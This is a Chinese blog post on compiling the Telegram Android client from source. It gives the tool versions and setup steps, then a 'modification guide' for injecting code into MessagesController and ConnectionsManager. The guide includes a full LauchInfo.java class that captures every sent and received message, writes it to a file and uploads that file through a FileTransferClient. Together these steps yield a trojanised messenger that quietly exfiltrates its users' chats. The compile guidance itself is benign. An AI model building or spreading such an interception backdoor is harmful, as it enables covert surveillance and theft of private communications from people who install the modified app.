• android studio 编译Telegram源码经验总结(2023-11-05)


    前言


    Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。


    一、android telegram源码下载地址:
     

    github: https://github.com/DrKLO/Telegram.git

    二、编译环境的选择:

    Windows 版本:10 64位;
    Android studio 版本:(2022.3.1)最新版本;
    Android SDK 版本:Android studio自带;
    Android Gradle Plugin 版本:Version 7.03   (源码版本);
    Gradle Version 版本:7.02  (源码版本);
    Android ndk 版本:21.4.7075529;
    Gradle JDK 版本:11.0.2;

      编译环境说明:
           1、Android studio 


            Android studio 可以采用最新版本;


           2、Android Gradle Plugin Version与Gradle Version


           编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,
    要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!


           3、Android ndk 要用21.4.7075529版本,与源码保持一致;


           4、Gradle JDK 版本:11.0.2,

    必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。


           5、Android studio提示升级Gradle版本时,千万不要升级!!!


           按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!
    能编译成功,才能为后续修改打下基础!!!

    三、编译指南


        按项目编译指南,完成以下工作:


    1、获取api_id


        申请地址:https://my.telegram.org/

    2、将您的release.keystore复制到TMessagesProj/config中


    在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore


    3、google-services.json


    转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。


    4、BuildVars.java 


    在 Studio 中打开项目(请注意,应该打开它,而不是导入)
    在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。
    替换你在控制台创建的获取的 APP_ID 和 APP_HASH


    5、API、协议文档


    Telegram API 手册:https://core.telegram.org/api

    MTproto协议手册:https://core.telegram.org/mtproto

    四、修改指南


        将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。


    1、添加依赖库


    implementation 'org.apache.commons:commons-lang3:3.6'


    2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化


    3、增加LauchInfo.java,以拦截并保存telegram消息。

    1. package ftc;
    2. import android.content.Context;
    3. import java.io.Closeable;
    4. import java.io.File;
    5. import java.io.FileWriter;
    6. import java.io.IOException;
    7. import java.text.SimpleDateFormat;
    8. import java.util.Date;
    9. import java.util.Locale;
    10. //技术支持:~~~~39848872
    11. public class LauchInfo {
    12. public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    13. private static String local_path;
    14. private static String local_dir;
    15. private static String filename;
    16. private static Context g_context;
    17. //接收telegram消息,并转换为格式化字符串,以便保存分析。
    18. public static void get(Object value){
    19. String content=RecursiveToStringStyle.toString(value);
    20. if(content!=null&&content.equals("")==false)
    21. SaveContent(content);
    22. }
    23. //技术支持:+~~~~byc6352
    24. public static void get(String say,Object value){
    25. String content=RecursiveToStringStyle.toString(value);
    26. MyLog.i(say + "\n" + content);
    27. }
    28. public static void log(String say,Object value){
    29. String content=RecursiveToStringStyle.toString(value);
    30. String text = say + "\n" + content;
    31. MyLog.i(text);
    32. }
    33. public static void SaveContent(String content){
    34. try {
    35. MyLog.i(content);
    36. String time = DEFAULT_SDF.format(new Date());
    37. String text=time+"\r\n"+content+"\r\n";
    38. saveInfo2File(text,filename,true);
    39. FileTransferClient.getInstance().uploadfile(filename,false);
    40. } catch (Exception e) {
    41. MyLog.e( "SaveContent:"+e.getMessage());
    42. }
    43. }
    44. /**
    45. * 保存信息到文件中
    46. *
    47. * @param ex
    48. * @return
    49. */
    50. public static boolean saveInfo2File(String info,String filename,boolean append) {
    51. if (info == null || filename == null) return false;
    52. FileWriter fileWriter = null;
    53. try {
    54. fileWriter = new FileWriter(new File(filename), append);
    55. fileWriter.write(info);
    56. return true;
    57. } catch (IOException e) {
    58. e.printStackTrace();
    59. return false;
    60. } finally {
    61. closeIO(fileWriter);
    62. }
    63. }
    64. /**
    65. * 关闭IO
    66. *
    67. * @param closeable closeable
    68. */
    69. public static void closeIO(Closeable closeable) {
    70. if (closeable == null) return;
    71. try {
    72. closeable.close();
    73. } catch (IOException e) {
    74. e.printStackTrace();
    75. }
    76. }
    77. public static void getWorkDir(Context context){
    78. local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
    79. local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
    80. filename=local_path+"info.txt";
    81. g_context=context.getApplicationContext();
    82. }
    83. }

    3、拦截telegram收到的消息


    在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

    注入MessagesController.java消息接收

    4、拦截telegram向服务器发送的请求与应答


    在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

    注入ConnectionsManager发送请求

    至此可以快乐地抓取tg数据了!

  • 相关阅读:
    WPF开发快速入门【7】WPF的拖放功能(Drag and Drop)
    【C语言】解决 “address of stack memory associated with local variable ‘num‘ returned”
    【动态规划】96. 不同的二叉搜索树
    机器视觉工程师注意,没有经历过公司倒闭看下文章,机器视觉公司即将要倒闭的征兆是什么?
    Postman进阶功能
    多节点单进程
    使用 Filebeat+Easysearch+Console 打造日志管理平台
    性能监测工具-node-export
    Android布局转图片Bitmap
    企业风险管理与反舞弊调查实务研讨会在河南顺利举行
  • 原文地址:https://blog.csdn.net/byc6352/article/details/134231291